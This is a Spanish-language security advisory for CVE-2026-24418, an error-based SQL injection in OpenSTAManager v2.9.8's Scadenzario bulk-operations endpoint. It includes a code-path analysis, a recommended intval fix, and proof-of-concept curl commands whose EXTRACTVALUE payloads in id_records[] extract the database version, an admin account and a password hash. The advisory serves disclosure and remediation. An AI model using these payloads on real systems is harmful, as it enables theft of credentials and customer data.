
CVE-2026-24418 - OpenSTAManager tiene una vulnerabilidad de inyección SQL en el módulo de operaciones masivas Scadenzario
| Campo | Detalles |
|---|
| ID de CVE | CVE-2026-24418 |
| Gravedad | HIGH |
| Aviso | Ver aviso |
| Descubierto por | Lukasz Rybak |
Una vulnerabilidad crítica de inyección SQL basada en errores en el módulo de operaciones masivas Scadenzario (Calendario de pagos) de OpenSTAManager v2.9.8 permite a atacantes autenticados extraer el contenido completo de la base de datos, incluidas credenciales de usuario, datos personales (PII) de clientes y registros financieros, a través de mensajes de error XML.
Estado: ✅ Confirmado y probado en instancia real (v2.9.8)
Parámetro vulnerable: id_records[] (array POST)
Endpoint afectado: /actions.php?id_module=18 (módulo Scadenzario)
Tipo de ataque: Inyección SQL basada en errores (cláusula IN)
OpenSTAManager v2.9.8 contiene una vulnerabilidad crítica de inyección SQL basada en errores en el controlador de operaciones masivas del módulo Scadenzario (Calendario de pagos). La aplicación no valida que los elementos del array id_records sean enteros antes de usarlos en una cláusula SQL IN(), lo que permite a los atacantes inyectar comandos SQL arbitrarios y extraer datos confidenciales a través de mensajes de error XPATH.
Cadena de vulnerabilidad:
Punto de entrada: /actions.php (Líneas 503-506)
$id_records = post('id_records');
$id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
$id_records = array_clean($id_records);
$id_records = array_unique($id_records);
La función array_clean() solo elimina valores vacíos; NO valida tipos.
Función vulnerable: /lib/util.php (Líneas 54-60)
function array_clean($array)
{
if (!empty($array)) {
return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
}
}
Impacto: La función filtra los valores vacíos, pero acepta cualquier valor no vacío, incluidos payloads de inyección SQL.
Punto de inyección SQL: /modules/scadenzario/bulk.php (Línea 88) VULNERABILIDAD PRINCIPAL
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Impacto: Los elementos del array $id_records se concatenan directamente con implode() sin validación de tipos ni prepare(), lo que permite una inyección SQL completa.
Análisis de causa raíz:
La vulnerabilidad existe porque:
post('id_records') devuelve un array controlado por el usuarioarray_clean() solo elimina valores vacíos, no valores no enterosimplode(',', $id_records) concatena los elementos del array directamente en SQLid_records[]=1&id_records[]=(MALICIOUS SQL)#Ruta de código afectada:
POST /actions.php?id_module=18
↓
actions.php:503 - $id_records = post('id_records')
↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]
Paso 1: Inicio de sesión
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Paso 2: Verificar la vulnerabilidad (Inyección SQL basada en errores)
Prueba 1: Extraer usuario y versión de la base de datos
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
"http://localhost:8081/actions.php?id_module=18"
Respuesta (mensaje de error visible para el atacante):
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>
Prueba 2: Extraer credenciales de administrador
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Respuesta:
<code>XPATH syntax error: '~admin:[email protected]'</code>
Prueba 3: Extraer hash de contraseña (Parte 1 - primeros 31 caracteres)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Respuesta:
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>
Prueba 4: Extraer hash de contraseña (Parte 2 - caracteres 32-60)
curl -b cookies.txt \
-d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
"http://localhost:8081/actions.php?id_module=18"
Respuesta:
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>
Hash de contraseña combinado:
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK
**Todos los usuarios autenticados con acceso a las operaciones masivas del módulo Scadenzario (Calendario de pagos).
Corrección recomendada:
Corrección principal - Validación de tipos:
Archivo: /modules/scadenzario/bulk.php
ANTES (Vulnerable - Línea 88):
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
DESPUÉS (Corregido):
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
Descubierto por Łukasz Rybak
Este CVE fue divulgado de forma responsable siguiendo prácticas coordinadas de divulgación de vulnerabilidades. La información aquí proporcionada tiene fines exclusivamente educativos y de defensa.